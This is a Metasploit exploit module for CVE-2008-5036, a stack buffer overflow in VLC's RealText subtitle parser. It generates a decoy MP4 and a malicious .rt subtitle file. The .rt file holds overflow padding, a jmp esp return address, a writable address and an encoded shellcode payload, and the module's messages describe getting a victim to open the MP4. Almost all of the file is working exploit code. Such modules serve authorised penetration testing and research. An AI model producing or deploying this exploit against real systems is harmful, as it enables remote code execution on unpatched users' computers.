##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VLC Media Player RealText Subtitle Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow vulnerability in
        VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of
        RealText subtitle files.

          In order to exploit this, this module will generate two files:
        The .mp4 file is used to trick your victim into running. The .rt file
        is the actual malicious file that triggers the vulnerability, which
        should be placed under the same directory as the .mp4 file.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tobias Klein',  # Vulnerability Discovery
          'SkD', # Exploit
          'juan vazquez' # Metasploit Module
        ],
      'References'     =>
        [
          [ 'OSVDB', '49809' ],
          [ 'CVE', '2008-5036' ],
          [ 'BID', '32125' ],
          [ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-011.txt' ],
          [ 'URL', 'http://www.videolan.org/security/sa0810.html' ]
        ],
      'Payload'        =>
        {
          'Space'          => 1900,
          'DisableNops'    => true,
          'BadChars'       => "\x00\x22\x0a",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'VLC 0.9.4 on Windows XP SP3 / Windows 7 SP1',
            {
              'Ret' => 0x68f0cfad, # jmp esp # libqt4_plugin.dll
              'WritableAddress' => 0x695d5890 # libqt4_plugin.dll .data
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 05 2008',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.rt']),
      ])
  end

  def generate_mp4
    mp4 = ''
    # ftyp
    mp4 << "\x00\x00\x00\x14"  #Size
    mp4 << "ftyp"              #Type
    mp4 << "isom"              #Major brand
    mp4 << "\x00\x00"          #version
    mp4 << "\x00\x00"
    mp4 << "mp41"              #Compatible brands
    # moov
    mp4 << "\x00\x00\x00\x9f"  #Size
    mp4 << "moov"              #Type
    mp4 << "\x00\x00\x00\x6c\x6d\x76\x68\x64\x00\x00\x00\x00\xcb\x75\xf1\xc2\xcb\x75\xf1\xc2"
    mp4 << "\x00\x01\x5f\x90\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    mp4 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    mp4 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
    mp4 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    mp4 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2b"
    mp4 << "udta"
    mp4 << "\x00\x00\x00\x23"
    mp4 << "\xa9\x65\x6e\x63\x00\x17\x00\x00"
    mp4 << "vlc 0.9.4 stream output"
    # wide
    mp4 << "\x00\x00\x00\x08"
    mp4 << "wide"
    # mdat
    mp4 << "\x00\x00\x00\x08"
    mp4 << "mdat"

    return mp4
  end

  def generate_rt
    my_payload = ""
    my_payload << Rex::Text.rand_text(72, payload_badchars)
    my_payload << [target.ret].pack("V") # EIP => jmp esp
    my_payload << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+8").encode_string # ESP => jmp after "Writable address"
    my_payload << Rex::Text.rand_text(2, payload_badchars)
    my_payload << [target['WritableAddress']].pack("V") # Writable address
    my_payload << payload.encoded

    rt_file = <<-eos
<window height="250" width="300" duration="15" bgcolor="yellow">
Mary had a little lamb,
<br/><time begin="#{my_payload}"/>
<br/><time begin="6"/>little lamb,
<br/><time begin="9"/>Mary had a little lamb
<br/><time begin="12"/>whose fleece was white as snow.
</window>
    eos

    return rt_file
  end

  def exploit

    mp4 = generate_mp4
    rt  = generate_rt

    print_status("Creating '#{datastore['FILENAME']}'. Put this file under the same directory as the mp4 file")
    file_create(rt)

    original_fname = datastore['FILENAME']
    datastore['FILENAME'] = original_fname.scan(/(\w+).\w+/).flatten[0] + ".mp4"
    print_status("Creating '#{datastore['FILENAME']}'. This is the file your victim should open.")
    file_create(mp4)

    datastore['FILENAME'] = original_fname

  end
end
